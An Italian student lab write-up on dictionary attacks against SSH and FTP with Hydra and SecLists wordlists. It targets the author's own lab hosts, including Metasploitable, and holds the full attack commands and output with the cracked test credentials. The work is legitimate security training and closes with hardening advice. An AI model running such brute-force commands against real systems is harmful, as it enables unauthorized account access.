

W14D4 - Cracking SSH con Hydra

1. Obiettivo dell'esercizio

L'obiettivo è simulare un attacco di tipo brute-force su un servizio SSH attivo, utilizzando lo strumento **Hydra**. Questo ci permette di comprendere:

- Come configurare correttamente un servizio SSH.
- Come funziona un attacco a dizionario.
- L'importanza di scegliere credenziali sicure.

2. Configurazione del servizio SSH

2.1 Creazione utente

Abbiamo creato un nuovo utente chiamato `test_user` con il comando:

```
sudo adduser test_user
```

Durante la creazione, abbiamo impostato la password come `testpass`.

```
(kali㉿kali)-[~]
└─$ sudo adduser test_user
[sudo] password di kali:
info: Aggiunta dell'utente «test_user» ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Aggiunta del nuovo gruppo «test_user» (1003) ...
info: Adding new user `test_user' (1003) with group `test_user (1003)' ...
info: Creazione della directory home «/home/test_user» ...
info: Copia dei file da «/etc/skel» ...
Nuova password:
Reimmettere la nuova password:
passwd: password aggiornata correttamente
Modifica delle informazioni relative all'utente test_user
Inserire il nuovo valore o premere INVIO per quello predefinito
Nome completo []: valerio
Stanza n° []: 1
Numero telefonico di lavoro []: 33333333
Numero telefonico di casa []: 3333333
Altro []: 111111
Le informazioni sono corrette? [S/n] S
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Aggiunta dell'utente «test_user» al gruppo «users» ...
```

2.2 Avvio del servizio SSH

Abbiamo avviato il servizio SSH con:

```
sudo service ssh start
```

```

(kali@kali)~$ sudo service ssh start
(kali@kali)~$ sudo systemctl status ssh
● ssh.service - OpenBSD Secure Shell server
   Loaded: loaded (/usr/lib/systemd/system/ssh.service; enabled; preset: disabled)
   Active: active (running) since Sun 2025-10-19 08:47:30 EDT; 6min ago
  Invocation: e284364dd815408bb99a100d486090eb
     Docs: man:sshd(8)
           man:sshd_config(5)
   Process: 940 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
    Main PID: 950 (sshd)
       Tasks: 1 (limit: 44497)
      Memory: 2.7M (peak: 3.2M)
         CPU: 36ms
        CGroup: /system.slice/ssh.service
                └─950 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"

ott 19 08:47:30 kali systemd[1]: Starting ssh.service - OpenBSD Secure Shell server...
ott 19 08:47:30 kali sshd[950]: Server listening on 0.0.0.0 port 22.
ott 19 08:47:30 kali sshd[950]: Server listening on :: port 22.
ott 19 08:47:30 kali systemd[1]: Started ssh.service - OpenBSD Secure Shell server.

```

3. Cracking con Hydra

3.1 Installazione Seclists

Con il comando: *sudo apt install seclists*

installiamo seclists che contiene wordlist di username e password

```

(kali@kali)~$ sudo apt update
Scaricamento di:2 https://packages.microsoft.com/repos/code stable InRelease [3.590 B]
Scaricamento di:3 https://packages.microsoft.com/repos/code stable/main armhf Packages [20,1 kB]
Scaricamento di:4 https://packages.microsoft.com/repos/code stable/main amd64 Packages [20,0 kB]
Scaricamento di:5 https://packages.microsoft.com/repos/code stable/main arm64 Packages [20,1 kB]
Scaricamento di:1 http://mirror.telepoint.bg/kali kali-rolling InRelease [34,0 kB]
Scaricamento di:6 http://mirror.telepoint.bg/kali kali-rolling/main amd64 Packages [20,9 MB]
Scaricamento di:7 http://mirror.telepoint.bg/kali kali-rolling/main amd64 Contents (deb) [51,8 MB]
Scaricamento di:8 http://mirror.telepoint.bg/kali kali-rolling/contrib amd64 Packages [115 kB]
Scaricamento di:9 http://mirror.telepoint.bg/kali kali-rolling/contrib amd64 Contents (deb) [258 kB]
Scaricamento di:10 http://mirror.telepoint.bg/kali kali-rolling/non-free amd64 Packages [187 kB]
Scaricamento di:11 http://mirror.telepoint.bg/kali kali-rolling/non-free amd64 Contents (deb) [891 kB]
Scaricamento di:12 http://mirror.telepoint.bg/kali kali-rolling/non-free-firmware amd64 Packages [11,3 kB]
Scaricamento di:13 http://mirror.telepoint.bg/kali kali-rolling/non-free-firmware amd64 Contents (deb) [28,4 kB]
Recuperati 74,3 MB in 29s (2.543 kB/s)
1708 pacchetti possono essere aggiornati: eseguire "apt list --upgradable" per vederli.

(kali@kali)~$ sudo apt install seclists
I seguenti pacchetti sono stati installati automaticamente e non sono più richiesti:
  icu-devtools libicu-dev
Usare "sudo apt autoremove" per rimuoverli.

Installazione:
  seclists

Riepilogo:
  Aggiornamento: 0, Installazione: 1, Rimozione: 0, Non aggiornati: 1708
  Dimensione scaricamento: 557 MB
  Spazio richiesto: 1.970 MB / 50,6 GB disponibile

Scaricamento di:1 http://mirrors.netix.net/kali kali-rolling/main amd64 seclists all 2025.2-0kali1 [557 MB]
Recuperati 557 MB in 3min 35s (2.592 kB/s)
Selezionato il pacchetto seclists non precedentemente selezionato.
(Lettura del database... 413151 file e directory attualmente installati.)
Preparativi per estrarre .../seclists_2025.2-0kali1_all.deb...
Estrazione di seclists (2025.2-0kali1)...
Configurazione di seclists (2025.2-0kali1)...
Elaborazione dei trigger per kali-menu (2025.1.1)...
Elaborazione dei trigger per wordlists (2023.2.0)...

```

3.2 Esecuzione di Hydra - SSH

Abbiamo eseguito Hydra dove :

- -L: lista di username
- -P: lista di password

- -t 4: 4 thread oppure -t 2: 2 thread
- -V: verbose (mostra i tentativi)

Quando Hydra trova la combinazione corretta, la stampa nel terminale

```
(kali@kali)~$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.50.100 -t2 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-19 11:06:41
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 2 tasks per 1 server, overall 2 tasks, 8295464295456 login tries (l:8295456/p:1000001), ~4147732147728 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456" - 1 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "password" - 2 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345678" - 3 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "qwerty" - 4 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456789" - 5 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345" - 6 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1234" - 7 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "111111" - 8 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1234567" - 9 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "dragon" - 10 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123123" - 11 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "baseball" - 12 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "abc123" - 13 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "football" - 14 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "monkey" - 15 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "letmein" - 16 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "696969" - 17 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "shadow" - 18 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "master" - 19 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "666666" - 20 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "qwertyuiop" - 21 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123321" - 22 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "mustang" - 23 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1234567890" - 24 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "michael" - 25 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "654321" - 26 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "pussy" - 27 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "superman" - 28 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 29 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1qaz2wsx" - 30 of 8295464295456 [child 1] (0/0)
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "info" - pass "123456" - 1000002 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "password" - 1000003 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "12345678" - 1000004 of 8295464295456 [child 1] (0/0)
```

4. Configurazione e Cracking FTP

4.1 Installazione e avvio FTP

sudo apt install vsftpd

sudo service vsftpd start

```
(kali@kali)~$ sudo apt install vsftpd
I seguenti pacchetti sono stati installati automaticamente e non sono più richiesti:
icu-devtools libicu-dev
Usare "sudo apt autoremove" per rimuoverli.

Installazione:
vsftpd

Riepilogo:
Aggiornamento: 0, Installazione: 1, Rimozione: 0, Non aggiornati: 1708
Dimensione scaricamento: 151 kB
Spazio richiesto: 381 kB / 48,5 GB disponibile

Scaricamento di:1 http://kali.mirror.garr.it/kali kali-rolling/main amd64 vsftpd amd64 3.0.5-0.3 [151 kB]
Recuperati 151 kB in 2s (81,5 kB/s)
Preconfigurazione dei pacchetti in corso
Selezionato il pacchetto vsftpd non precedentemente selezionato.
(Lettura del database... 419466 file e directory attualmente installati.)
Preparativi per estrarre .../vsftpd_3.0.5-0.3_amd64.deb ...
Estrazione di vsftpd (3.0.5-0.3) ...
Configurazione di vsftpd (3.0.5-0.3) ...
/usr/lib/tmpfiles.d/vsftpd.conf:1: Line references path below legacy directory /var/run/, updating /var/run/vsftpd/empty → /run/vsftpd/empty; please update the tmpfiles.d/ drop-in file accordingly.
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Elaborazione dei trigger per man-db (2.13.1-1) ...
Elaborazione dei trigger per kali-menu (2025.1.1) ...
```

4.2 Cracking FTP con Hydra

```
(kali@kali)~$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.50.100 -t 4 ftp -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-19 11:13:49
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295464295456 login tries (l:8295456/p:1000001), ~207386607
3864 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456" - 1 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "password" - 2 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345678" - 3 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "qwerty" - 4 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456789" - 5 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345" - 6 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1234" - 7 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "111111" - 8 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1234567" - 9 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "dragon" - 10 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123123" - 11 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "baseball" - 12 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "abc123" - 13 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "football" - 14 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "monkey" - 15 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "letmein" - 16 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "696969" - 17 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "shadow" - 18 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "master" - 19 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "666666" - 20 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "qwertyuiop" - 21 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123321" - 22 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "mustang" - 23 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1234567890" - 24 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "michael" - 25 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "654321" - 26 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "pussy" - 27 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "superman" - 28 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 29 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1qaz2wsx" - 30 of 8295464295456 [child 3] (0/0)
[21][ftp] host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "info" - pass "123456" - 1000002 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "password" - 1000003 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "12345678" - 1000004 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "qwerty" - 1000005 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "123456789" - 1000006 of 8295464295456 [child 2] (0/0)
```

5. Differenze tra SSH e FTP

- SSH ti permette di entrare nel terminale di una macchina remota e controllarla come se fossi lì. È come avere un telecomando sicuro per il computer. SSH è molto più sicuro perché cifra tutto il traffico

- FTP serve solo per trasferire file tra due macchine. Non puoi eseguire comandi, solo inviare o ricevere documenti. FTP classico non cifra nulla, quindi le password possono essere intercettate. Per questo si preferisce SFTP (che usa SSH) o FTPS (che usa SSL/TLS).

6. Facoltativo: Cracking su Metasploitable

```
(kali@kali)~$ hydra -L /usr/share/seclists/Username/xato-net-10-million-username.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.50.101 -t 4 ftp -v
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-19 11:20:25
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295473590914 login tries (l:8295457/p:1000002), ~207386839 7729 tries per task
[DATA] attacking ftp://192.168.50.101:21/
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123456" - 1 of 8295473590914 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "password" - 2 of 8295473590914 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "12345678" - 3 of 8295473590914 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "qwerty" - 4 of 8295473590914 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123456789" - 5 of 8295473590914 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "12345" - 6 of 8295473590914 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "1234" - 7 of 8295473590914 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "111111" - 8 of 8295473590914 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "1234567" - 9 of 8295473590914 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "dragon" - 10 of 8295473590914 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123123" - 11 of 8295473590914 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "baseball" - 12 of 8295473590914 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "abc123" - 13 of 8295473590914 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "football" - 14 of 8295473590914 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "monkey" - 15 of 8295473590914 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "letmein" - 16 of 8295473590914 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "696969" - 17 of 8295473590914 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "shadow" - 18 of 8295473590914 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "msfadmin" - 19 of 8295473590914 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "master" - 20 of 8295473590914 [child 3] (0/0)
[21][ftp] host: 192.168.50.101 login: msfadmin password: msfadmin
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "123456" - 1000003 of 8295473590914 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "password" - 1000004 of 8295473590914 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "12345678" - 1000005 of 8295473590914 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "qwerty" - 1000006 of 8295473590914 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "123456789" - 1000007 of 8295473590914 [child 2] (0/0)
```

7. Conclusioni

L'esercizio svolto ha permesso di esplorare in modo pratico e consapevole il funzionamento dei servizi di rete, in particolare **SSH**, e le tecniche di **brute-force** tramite lo strumento Hydra. Attraverso la configurazione manuale del servizio SSH e la creazione di un utente vulnerabile (test_user con password testpass), è stato possibile simulare un contesto realistico in cui un attaccante potrebbe tentare di ottenere accesso non autorizzato.

L'utilizzo di **Hydra con wordlist personalizzate** ha dimostrato l'efficacia di un attacco mirato quando le credenziali sono deboli o prevedibili. Successivamente, l'impiego di **wordlist estese** (come quelle fornite da Seclists) ha evidenziato quanto sia facile individuare credenziali comuni, in ambienti non protetti.

Dal punto di vista della sicurezza, l'esercizio ha messo in luce quanto sia fondamentale:

- Configurare correttamente i servizi di rete.
- Disabilitare l'accesso SSH per utenti non necessari.
- Impostare **password complesse e non comuni**.
- Monitorare i tentativi di accesso e implementare sistemi di difesa come autenticazione a due fattori.

In conclusione, l'attività ha fornito una visione concreta delle vulnerabilità legate all'autenticazione e ha rafforzato la consapevolezza sull'importanza della **difesa preventiva**. La pratica con Hydra non solo ha consolidato competenze tecniche, ma ha anche stimolato una riflessione critica sulla sicurezza dei sistemi in ambienti reali.